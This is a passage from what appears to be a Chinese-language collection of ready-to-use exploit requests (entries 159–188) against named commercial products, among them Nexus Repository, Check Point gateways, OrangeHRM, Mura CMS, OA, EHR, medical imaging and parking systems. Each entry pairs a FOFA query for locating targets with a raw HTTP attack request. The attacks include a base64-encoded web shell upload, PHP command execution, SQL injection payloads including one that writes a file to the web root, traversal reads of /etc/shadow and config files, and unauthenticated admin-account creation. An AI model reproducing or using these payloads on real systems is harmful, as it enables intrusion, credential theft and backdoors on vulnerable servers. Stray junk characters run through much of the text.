. M5 y; ^5 m! n+ h4 o$ E2 gFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 L, F8 F: ~, k/ Y
object=displayregion&contenthistid=x\'&previewid=1
0 O( k/ h8 V" p) k
5 C! U1 q) }1 C6 C; ]
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
* X7 e8 z2 R, e' e" f/ z# |) UPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
5 M. u& T8 x% ?/ ^/ h$ UAccept-Encoding: gzip, deflate
Connection: close
) p" u. V. I  y! T) hContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
1 Y* c9 h; v6 Q% \+ Z: s<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
8 ^4 G/ x+ ~* T# N+ D) P* Y7 I5 x8 L+ N<jobUpload xmlns="http://rainier">
! o: H: N+ ~$ B$ J# Z/ x<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
5 I4 Q- c% u( S' s& ~7 p. f8 z</jobUpload>
8 C5 ~7 h  q  S" x, f' t9 ~</soap:Body>
</soap:Envelope>


/ v% U# o1 z3 z9 F+ K/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
  @( _" e' }* f0 U3 X! \" o  B

160. Sonatype Nexus Repository 3目录遍历与文件读取
6 m8 m! O7 T2 I* N. |1 PCVE-2024-4956
FOFA：title="Nexus Repository Manager"
' ?3 f- X9 w4 t4 QGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
6 o* V6 |+ I4 L6 m0 OUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
! I+ [0 W: G6 r* U- @2 \9 E7 mAccept: */*
Accept-Language: en
Accept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
# _; [. I4 h* H( ^: x; X第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
4 m. c) J- y. K$ h7 ]8 QPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
2 v4 ]9 p5 C7 f" M; nContent-Length: 445
Content-Type: text/xml
( w! v! B2 }, {+ X# \7 p0 |$ VAccept-Encoding: gzip

7 K6 N1 C1 ^& Y' S' A* ?' |: k<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
$ p. A' @+ x; {<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
5 t% m9 _" s  C; M<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>
! A* I6 I) u- p6 V6 W+ C' f( @

http://x.x.x.x/dizxdell.aspx
* R$ V6 c! B# @0 k9 I: A7 {5 J: Y, o
. m  e* K  Z" u+ i9 r162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
, X% k. i# v7 `- y3 jFOFA: app="和丰山海-数字标牌"
* l' T. x+ M: v; rPOST /QH.aspx HTTP/1.1
' f$ s- a+ g3 O- `* ?& D/ Q: }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
0 r. j3 h! x- ?4 t' TContent-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
" b$ W( y$ G' {! J# m+ r6 dAccept-Encoding: gzip
( \' k; d/ k5 j6 k! G( |
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
8 e$ w* o  B: p2 oContent-Type: application/octet-stream

- a8 u& {( c" m8 L, h: y  M4 Z<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
( U9 t6 ~  K3 E. ]Content-Disposition: form-data; name="action"

upload
. I. ]6 z$ x) ~; X------WebKitFormBoundaryeegvclmyurlotuey
- K4 z4 a# D) eContent-Disposition: form-data; name="responderId"

ResourceNewResponder
7 U- y$ a+ ~7 T3 k------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
/ m4 o: c! u1 c- ~, H
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
! ^7 d+ i$ H" w8 v( `FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
, J& u% _2 D, p1 S" E- c( g$ b8 oContent-Length: 293
9 @4 y! H6 U0 @Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"

- k/ O$ H0 ~9 |1 \6 ?. T  t; _9 T1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
6 Q4 I" P( `! L; X
! v/ w+ o$ n5 wrvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

9 E- T6 F) `1 ^/ u: ?% Z- P
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
5 b; n4 c9 V- b. M7 b3 g8 N, i9 q" P, w( \POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
% [3 D0 X" M9 s- jHost: x.x.x.x
1 @/ {' n) f! E. MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
- C8 ~0 `- r0 p  h( RContent-Length: 288
" A  l2 H" h$ r6 r- s1 T9 `* ~Accept: application/json, text/javascript, */*; q=0.01
9 p. \6 ]# R! A, b% mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
3 p( \9 K6 p" Q% AX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
/ `3 b% i! z) s0 h- \, J- H* u
1 n4 b4 W& [4 k------dqdaieopnozbkapjacdbdthlvtlyl
, O9 H( d9 e- E: R0 {$ JContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
1 i' M+ G' k; c/ cContent-Type: image/jpeg
  m! E2 G7 q0 K/ L( l
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
2 c" p& ?5 O! X3 Q2 m
- [4 S5 g0 t1 J6 g, S% `, b( X/ q
3 D( O( b0 _( B7 t* ^http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
: S. _4 d( F4 J) d  D( ^$ g* rCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
( W" D" L5 ]9 {: g2 k! Q4 u) d( @
4 ?( z3 o( N9 V& h" c  T- @: k
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
" [1 h% F6 |/ Z# _$ S5 I* r7 O$ AHost:
6 c: Z" l7 l9 V5 h0 k; n9 SPragma: no-cache
3 O" s& a3 S0 ]' i+ pCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* `+ }% A8 P% L8 R' \: VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 n" f) N7 }8 _0 T3 Z' h$ EAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
% O) T% B2 c) {1 \$ y7 `0 X7 Z  z' xCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
- ]. l6 Y" x6 _+ q4 u" yContent-Type: application/x-www-form-urlencoded
Content-Length: 89

; L& D  y# W( P0 n1 |Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
2 m+ H2 _6 l, K1 Q9 W' y

167. 精益价值管理系统 DownLoad.aspx任意文件读取
3 b; C+ o! j( G- F9 h3 Q' f) MFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
. n# h6 F+ g$ |GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
5 e1 y4 ~! m6 [8 WHost:
# \6 v2 D/ x8 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ Q6 Q" ^: e. h$ t0 E$ m- [7 pContent-Type: application/x-www-form-urlencoded
3 @0 C* M" L( R- yAccept-Encoding: gzip, deflate
; C$ V0 g  i1 p+ A; dAccept: */*
! g3 T" B1 j1 p1 jConnection: keep-alive

* f/ y& x- Y8 ^. G
168. 宏景EHR OutputCode 任意文件读取
- A% H$ e; D6 W, |' \# L7 G& qFOFA：app="HJSOFT-HCM"
" O" x7 w- J8 I+ D: j1 ?* ^9 lGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
0 }: m+ v. k/ N% f9 @5 S5 XHost: your-ip
9 r8 e6 C- E! j3 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close


' ~5 p6 s" H, p
7 r& L% q- J7 o169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
' E" W/ B0 a6 sGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
! Q4 l: ?& u4 ^: A7 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- U2 m7 g3 ?  L0 j: J3 SAccept: */*
$ X7 _: A4 F9 s5 F$ {- A! yAccept-Encoding: gzip, deflate
8 _. \* K1 D8 a+ t: LConnection: close
" a/ ]. q' ~* s$ L8 B
$ }% }% P" j0 d3 y% @& p0 x! ]* s9 @

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
7 E; n/ N. h' T1 R1 V$ oFOFA：body="/general/sys/hjaxmanage.js"
0 }5 a; }6 {: A9 ~POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
! s! G8 b$ V1 j  a2 VHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

) z% G- Q4 ^' ]% ], Dfilename=../webapps/ROOT/WEB-INF/web.xml

5 M% e' x4 n/ C! ?) g8 y4 @
; Z) j1 C+ X5 r% S  Z171. 通天星CMSV6车载定位监控平台 SQL注入
& a2 |' u/ p8 o! B! TFOFA：body="/808gps/"
. O8 ?5 @4 {4 \( o0 k' UGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
" ^5 [( x& M; x" Q3 QAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 o% h4 _( V1 c/ z" v4 O; pAccept-Encoding: gzip, deflate
Connection: close
. Q% ?. n+ ~! b: A& D


' J2 D: s% c. d( S5 q: Y. B172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
! R1 g: W: G1 {3 ]5 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
8 K( I/ F2 K+ m4 hAccept: */*
Connection: keep-alive

) `, r* [8 u- F: g* p0 e
$ h$ ?( ]# b, ]2 i5 P" h3 |2 P) W
173. Check Point 安全网关任意文件读取
CVE-2024-24919
- t  V. }6 c) [8 g% ~% b0 d1 M" [FOFA：app="Check_Point-SSL-Network-Extender"
* p+ b: j7 l$ ^, @- e8 vPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
8 N+ V) b1 J$ z1 |% i0 A3 f
% K3 U2 Q& S. g" A
" w( |$ J% {8 m1 H9 _6 @7 F
# J8 K6 n8 G/ c0 J% k174. 金和OA C6 FileDownLoad.aspx 任意文件读取
' t9 ~# m: P; c+ P$ K' g- X3 v! uFOFA：app="金和网络-金和OA"
( F) D* \- W- b/ i) [) U& vGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
4 c' g/ w. D; a7 [% p8 e. wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ Q" F6 g& f& N3 A# s, rAccept-Encoding: gzip, deflate, br
% ^' L0 i& J, M- D. u) O- EAccept-Language: zh-CN,zh;q=0.9
' S3 |# m+ W5 S  N/ b2 vConnection: close
# q9 V$ t7 x# z% c0 s/ L
9 |( V2 j0 \. M1 o

( o+ Z& D9 i8 G$ B$ v2 j1 J175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. D4 O7 c' s% c! e, W3 T% }FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
7 \  K/ R' x% _- O( E/ FHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
( u. S/ K( U0 B0 w3 A' b# zUpgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
5 u% y: `6 e, XFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
3 P6 F: O8 H2 {0 u3 }; v) cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
) L+ d9 D5 `2 G8 a( h4 J9 s+ cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

4 Z0 S: m( R; d------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
# d1 N2 h$ q, I
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
2 u( o* r" |, t7 zContent-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
3 I. O9 {& v' L  y" D' ]1 ?
4 n$ o1 e+ n+ h, h3 S+ V
4 c& x0 p  `' r. C7 L  }, b
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
! }2 }+ p/ P0 }8 O* d# f/userLogin.asp/../actionpolicy_status/../GR8300.cfg
5 C2 F( u7 P, L9 g" [/userLogin.asp/../actionpolicy_status/../GR5200.cfg
4 |, x: {- G9 v/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
: D5 b/ w; ^+ d/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
; V5 z) X5 K$ V* l" F* ]/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
6 y  N, `0 g4 [- Q1 m/userLogin.asp/../actionpolicy_status/../ER3200.cfg
( N6 ~5 F9 U2 v& g1 n( u& S' v/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
% G# Q' h+ f1 I2 C- U( K
# f( y: j' P$ l4 Y* i0 ~9 Z
1 }2 b+ t6 `( a$ M7 [178. H3C校园网自助服务系统-flexfileupload-任意文件上传
, s( v5 Z  r' W5 g3 p( h+ x% }  nFOFA：header="/selfservice"
  D2 {6 L9 j& `/ j# o% j- ^POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
( E# `. [& U0 C' p0 d. R- e* `* qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
: X( a! o3 {  n8 wConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
# a* }. r; ]( s4 m  d-----------------aqutkea7vvanpqy3rh2l
7 ^  V3 c; s  {  H0 [( wContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--

8 N. R7 x7 b2 n4 A( |2 V4 s
8 R5 F; X5 y# T$ X3 FGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
; |% E" h  C1 r% aPOST /Common/DownLoad2.aspx HTTP/1.1
" E2 z  Y1 P; d- {: L2 S: GHost: {{Hostname}}
( c3 E5 W9 I& u0 O8 e& MContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
' B( h+ p, z& _4 ]( O
- w& d* a/ P% ^path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
& {0 R5 L, j/ L- o/ N1 I* S4 L, MHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" X. }$ f% I3 R/ g; l0 f; sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# x0 n; M. K/ s  E6 sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ K0 l/ }7 ]* g

; x# y+ V7 Q% [0 q! U181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
: m6 |" O8 \5 Y* ^: B" aFOFA："PDCA/js/_publicCom.js"
9 n3 J5 n) e8 M+ {, I1 vPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
( ~8 q( R7 H" c$ u6 w5 K- o" d5 v$ |Host: your-ip
7 h( O" T' u1 q) uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! v# S* Y4 p9 \2 I9 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
. J* p& G( g: Y2 rAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
, i2 @: J, O; o4 d8 W: y
  {8 Y5 |2 I; B9 [* Q
& w0 A- X) d7 f- s; W% `, jaction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
; L) j& O3 x, n* z! g, t
/ P5 z4 Y) t  u0 Q0 i7 M: y
: W3 X  q* R* @8 x& m- N3 J182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
6 l, H1 k& _3 G' g5 V+ Q7 D( ZPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
, Y- v6 ^/ v7 ]+ Z; o4 [  Y5 k9 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: e/ c! T, k+ K1 s  I& cAccept-Language: zh-CN,zh;q=0.9
2 A5 v: P: g: q" l0 DConnection: close
Content-Type: application/x-www-form-urlencoded

! v5 T# |- G/ S8 o& L
username=test1234&pwd=test1234&savedays=1
% s# ]2 Y4 Q; _7 U4 X: t7 O9 T
+ k/ e* e' H; E- n9 ~  p
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
; j3 Q# Y, f; F% r: gFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
- u) [. x& Q' g7 rGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
$ p0 g( T: Y+ f/ v3 e+ \  uUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
& I0 c& c! u: V8 S( \! O! lAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
+ z# Y' F' o6 ^) \Connection: close


5 L% |6 m' m7 G184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
: }0 ]3 ~3 F7 p* t% h1 cPOST /soap/AddUser HTTP/1.1
Host: your-ip
' D0 V+ a8 l, L) tAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
% G2 T8 [; x8 }. D  T$ O9 EContent-Type: text/xml; charset=utf-8
- V" t$ Q! V$ U; s' a$ Y" C; kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' ~3 y, u7 }: s: c: k' J/ W1 }X-Requested-With: XMLHttpRequest
3 r4 _0 m( C/ w9 l6 d" X; x

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
: V, c, w0 a1 ]3 i, L& K

185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
* W& h$ ^; b- l* AHost: host
8 L8 c; r5 _( b3 k; h! |

! w, F6 X% |7 A: r! D0 G4 q# f186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
3 ?1 b! G4 r" i% hFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
- Z4 f$ ]) Q5 Q& J/ @# g: L, HHost: your-ip
. c) T, U7 a& M0 c$ ^8 I9 x3 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 D; q/ U0 L) J1 e5 DAccept-Encoding: gzip, deflate
Connection: close
& ?# L6 s1 K6 V- e3 A( ~9 L/ IContent-Type: application/x-www-form-urlencoded
5 ^0 v4 Z  W1 k
- Y' `0 V) m7 S3 C; Ereq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

, }1 _6 x- b( \! B" p! h
187. Mura CMS processAsyncObject SQL注入
. R- V; ]' @1 h1 m! o) {CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
$ M' C$ {$ C. F" U
3 y# j3 h/ d- B+ q" E' s
& F; |1 v7 \6 d* Y" pobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


  r, n- a& j- |188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
